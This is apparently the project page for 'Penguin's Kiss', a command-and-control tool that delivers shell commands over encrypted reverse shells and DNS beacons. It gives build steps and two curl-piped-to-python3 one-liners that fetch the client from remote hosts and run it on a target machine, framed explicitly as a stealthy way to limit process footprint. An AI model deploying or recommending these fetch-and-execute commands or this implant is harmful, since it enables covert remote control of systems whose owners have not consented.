Penguin's Kiss Command & Control Software

Penguin's Kiss is command and control software designed to accomodate a large - number of clients and controllers at once. Multiple channels are available for - end-to-end encrypted delivery of shell commands, including direct TCP reverse - shell, DNS beacon, and beacon-triggered direct connection. All information is sent - encrypted, either by padded RSA or by one-time pad exchanged over RSA (this helps - to keep short data snippets responsive and avoid ballooning message size). In the - future, some work may be done to incorporate elliptic curve cryptography and - one-time session keys utilizing some symmetric cipher (likely AES).

Downloading PK

The quickest way to download is via the button in the top right. This will take - you to the latest release on - GitHub. You can also clone the - master (pseudo-stable) - or - develop (unstable) - branches to receive feature updates before they are bundled into a full - release.

Building PK

PK doesn't require much in the way of compilation, just bundling into a - single script that can be distributed or run. This functionality is written in - the makefile for easy access, so fetching and compilation should be as simple - as:

# or tar -xzf pk.tgz if you've downloaded an archive
-git clone git@github.com:cflems/pk.git
-cd pk
-make

Your built artifacts will be pkcli.py and pkd.py. - Building is required before PK can be run for the first time.

Precompiled Client Scripts

Since cloning and building the latest version isn't the stealthiest - procedure to execute on a client machine, prebuilt versions of the latest - client script will be hosted in the several locations and can be executed - without meaningful process footprint as follows:

curl -s https://dl.pkctl.org/pk.py | ENV=... python3 -

curl -s https://war.cflems.net/pk.py | ENV=... python3 -

You may wish to host your own, however, in order to tweak the default values - to your needs and avoid feeding them via enviornment variables.